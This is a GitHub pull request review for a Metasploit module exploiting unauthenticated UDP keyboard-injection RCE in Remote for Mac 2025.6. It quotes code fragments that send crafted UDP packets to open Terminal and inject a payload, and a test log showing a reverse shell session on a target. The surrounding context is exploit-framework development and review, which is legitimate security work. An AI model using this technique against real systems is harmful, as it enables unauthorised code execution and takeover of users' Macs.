Skip to content

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 8 commits into
base: master
Choose a base branch
from

Conversation

blue0x1
Copy link

@blue0x1 blue0x1 commented May 29, 2025

Remote for Mac 2025.6 UDP Keyboard Input RCE Module

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. The vulnerability allows attackers to send crafted UDP packets that simulate keyboard input, bypassing authentication when the "Allow unknown devices" feature is enabled.

The module sends a sequence of UDP packets to open the Terminal app and then injects a payload command to execute arbitrary code on the target system. The target UDP port must be specified in the RPORT option, as it may vary depending on the target’s configuration.

Successful exploitation results in full remote code execution under the privileges of the Remote for Mac application, potentially leading to full system compromise.

Notes:

The vulnerability is only exploitable if authentication is disabled and "Allow unknown devices" is enabled.

The UDP port should be confirmed for each target environment.

Reverse shell payloads are supported, facilitating remote control.

References:
https://packetstorm.news/files/id/196351/

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding docs here as well?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.


register_options(
[
Opt::RHOSTS(),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is this empty? I don't think this has to be here.

[
Opt::RHOSTS(),
Opt::RPORT(49229),
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SSL is already registered options afaik

Comment on lines +52 to +53
protocol = datastore['SSL'] ? 'https' : 'http'
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The send_request_cgi has already in its options SSL, so no need to specify it like this.

Comment on lines +60 to +62
'ssl' => datastore['SSL'],
'rport' => datastore['RPORT'],
'rhost' => datastore['RHOSTS']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure if this should be here

Comment on lines +66 to +81
json = JSON.parse(res.body)
if json['requires.auth'] == false
print_good('Authentication is disabled. Target is vulnerable.')
return true
else
print_error('Authentication is enabled. Exploit aborted.')
return false
end
else
print_error('Unexpected response from target')
return false
end
rescue ::Rex::ConnectionError, JSON::ParserError => e
print_error("Connection or parsing error: #{e.message}")
return false
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using res.get_json_document would simplify greatly the logic of this part

Comment on lines +89 to +90
udp_port = datastore['RPORT']
target_ip = datastore['RHOSTS']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sending the UDP request to the same host/port as for TCP HTTP request?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes it’s the same port

Comment on lines +105 to +124
udp_sock = UDPSocket.new
udp_sock.connect(target_ip, udp_port)

print_status('Simulating system keyboard input to open Terminal...')
initial_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.05)
end

prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
'terminal'.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end

final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 May 30, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use include Msf::Exploit::Remote::Udp to simplify some of this

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@msutovsky-r7 msutovsky-r7 changed the title Exploit/osx/misc/remote for mac udp rce Adds UDP Keyboard RCE for Remote for Mac 2025.6 May 30, 2025
@msutovsky-r7
Copy link
Contributor

Hi @blue0x1 , just checking in! If you need help with requested changes for this PR, let me know.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding check method here?

@msutovsky-r7
Copy link
Contributor

msf6 exploit(osx/misc/remote_for_mac) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.140:4444 
[*] Checking authentication on https://192.168.168.175:49158/api/getVersion
[+] Authentication is disabled. Target is vulnerable.
[*] Simulating system keyboard input to open Terminal...
[*] Sending malicious payload to be executed...
[+] Payload sent. Awaiting session...
[*] Command shell session 1 opened (192.168.168.140:4444 -> 192.168.168.175:49161) at 2025-06-11 04:23:20 -0400

i
zsh: command not found: i
id
uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
whoami
ms

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants